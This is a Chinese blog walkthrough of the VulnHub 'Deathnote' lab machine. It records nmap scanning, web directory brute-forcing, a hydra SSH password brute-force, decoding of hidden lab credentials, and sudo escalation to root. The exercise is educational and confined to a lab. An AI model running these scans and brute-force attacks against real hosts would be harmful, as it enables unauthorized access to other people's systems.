vulnhub靶场Deathnote

Deathnote

主机发现

本地虚拟机部署,攻击机kali(IP:172.16.16.101)

sudo nmap -sn -T4 172.16.16.0/24

image-20260210171132062

发现目标机IP(172.16.16.103)

新建文件夹,并进入目录,用来存储扫描结果

mkdir -p ~/vulnhub/deathnote/nmap_output

端口扫描

TCP扫描

cd ~/vulnhub/deathnote
sudo nmap --min-rate 10000 -p- 172.16.16.103 -oA nmap_output/ports

image-20260210185305574

详细信息扫描

sudo nmap -sS -n -Pn -p 22,80,1 -sV -sC -O 172.16.16.103 -oA nmap_output/detail

image-20260210191433361

UDP扫描

sudo nmap -sU --top-ports 100 172.16.16.103 -oA nmap_output/udp

image-20260210191908756

漏洞脚本扫描

sudo nmap --script=vuln -p22,80 172.16.16.103 -oA nmap_output/vuln

image-20260210210132040

信息总结

目标主机172.16.16.103
开放TCP端口22,80端口
22/tcp   ssh	OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   http	Apache httpd 2.4.38 ((Debian))
系统版本
Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)		# OpenWrt是一个开源linux系统,主要用于路由器等嵌入式设备
UDP端口目前无实际利用价值
默认脚本漏洞扫描无可用结果
但是80端口暴露出 /wordpress/	/robots.txt		/wordpress/wp-login.php		/manual/	等文件或目录

WEB

http://172.16.16.103

image-20260211104500709

访问后似乎发生了跳转,且网页有些异常,启动burpsuite查看

image-20260211105638844

直接跳转域名deathnote.vuln

添加本机hosts,将域名deathnote.vuln指向172.16.16.103

sudo echo '172.16.16.103 deathnote.vuln' >> /etc/hosts

或:

sudo sed -i '1i 172.16.16.103 deathnote.vuln' /etc/hosts

image-20260211114934852

重新访问,跳转到WordPress正常页面

image-20260211132408123

目录扫描

gobuster

gobuster dir -u http://deathnote.vuln/wordpress/ -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -x php,txt,jsp,asp,zip,tar,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-20260211140948391

feroxbuster

feroxbuster -u http://deathnote.vuln/ -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -x txt -d 0 -s 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-20260211170241355

image-20260211170722921

feroxbuster工具可能不适合这种场景,无法过滤非txt后缀的文件,要么需要添加正则去筛选,比较麻烦

查看各种已扫描到的网页,提示去找notes.txt或者去看L的评论

image-20260211170003106

image-20260227153724585

虽然知道notes.txt文件名,但是不知道具体在哪个路径,所以需要考虑递归爆破,还要过滤其他文件

我对比了10款常用的目录爆破工具,发现目前的场景最适合的工具是ffuf或者dirsearch

具体的10款常用的目录爆破工具各自的特点和适用场景,请看我另一篇随笔

https://www.cnblogs.com/syslogd/p/19607360

dirsearch

python dirsearch.py -r -u http://deathnote.vuln

经过几个小时的等待,发现一些有意思的路径

image-20260213201947266

http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/user.txt

http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/

这个路径可能有东西

image-20260213202232748

image-20260213202344667

image-20260213202409940

根据上面nmap扫描的ssh端口,可以判定走ssh爆破

先存储这两个文件

wget http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/user.txt
wget http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt

image-20260213204435732

结合WEB页面的信息,推测L和KIRA都可能是用户

SQL注入

/wordpress/wp-login.php

image-20260304121620310

经过几轮注入,发现注入失败,可能没有注入漏洞

ssh爆破

hydra

hydra -t4 -L ~/vulnhub/deathnote/user.txt -P ~/vulnhub/deathnote/notes.txt ssh://172.16.16.103 

image-20260213204541533

login:l   password:death4me

ssh登录

ssh l@172.16.16.103
death4me

image-20260213205129696

user_flag

image-20260213210038699

一串未知的字符

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.------------.+.+++++.---.<<.>>++++++++++.<<.>>--------------.++++++++.+++++.<<.>>.------------.---.<<.>>++++++++++++++.-----------.---.+++++++..<<.++++++++++++.------------.>>----------.+++++++++++++++++++.-.<<.>>+++++.----------.++++++.<<.>>++.--------.-.++++++.<<.>>------------------.+++.<<.>>----.+.++++++++++.-------.<<.>>+++++++++++++++.-----.<<.>>----.--.+++..<<.>>+.--------.<<.+++++++++++++.>>++++++.--.+++++++++.-----------------.

丢个AI解释说是Brainfuck语言编写的程序,输出结果为:i think u got the shell, but you wont be able to kill me -kira

image-20260213210241177

sudo权限查看

sudo -l
death4me

image-20260227144245082

无权限

用户信息

cat /etc/passwd
ls -al /home

image-20260227144927899

能够登陆的有:root kira L

翻找文件

/opt/L/fake-notebook-rule

该目录下有2个文件case.wav hint("提示")

image-20260303162451864

查看文件类型

file case.wav hint

image-20260303162635822

都是ASCII字符

查看文件内容

cat case.wav

image-20260303162746346

一串16进制字符

xxd转换字符

echo |cat case.wav |xxd -r -p

image-20260303162912725

很像base64

base64解码

echo |cat case.wav |xxd -r -p |base64 -d

image-20260303163105831

可能是kira用户的密码:kiraisevil

尝试登录

ssh kira@172.16.16.103
kiraisevil

成功登录kira用户

image-20260303163836977

user2_flag

image-20260303164536818

base64转换

echo |cat kira.txt |base64 -d

image-20260303164644073

/opt/目录刚才已经查看了,/var/目录下面有什么?Misa又是谁?

回看靶机的名字:deathnote,死亡笔记

Misa正是日本漫画《死亡笔记》女主角,由平野绫配音,被粉丝称为MisaMisa

image-20260303165137501

进入/var/目录

image-20260303165312137

查看文件

image-20260303165402985

image-20260303165418561

shadow备份文件没有读取权限

提权

sudo提权

查看sudo权限

sudo -l
kiraisevil

image-20260303165702590

(ALL : ALL) ALL 表示可以以root权限执行所有命令

所以直接进行提权到root

sudo su

image-20260303170022846

root_flag

image-20260303170219685

posted @ 2026-03-04 17:18  apt-official  阅读(4)  评论(0)    收藏  举报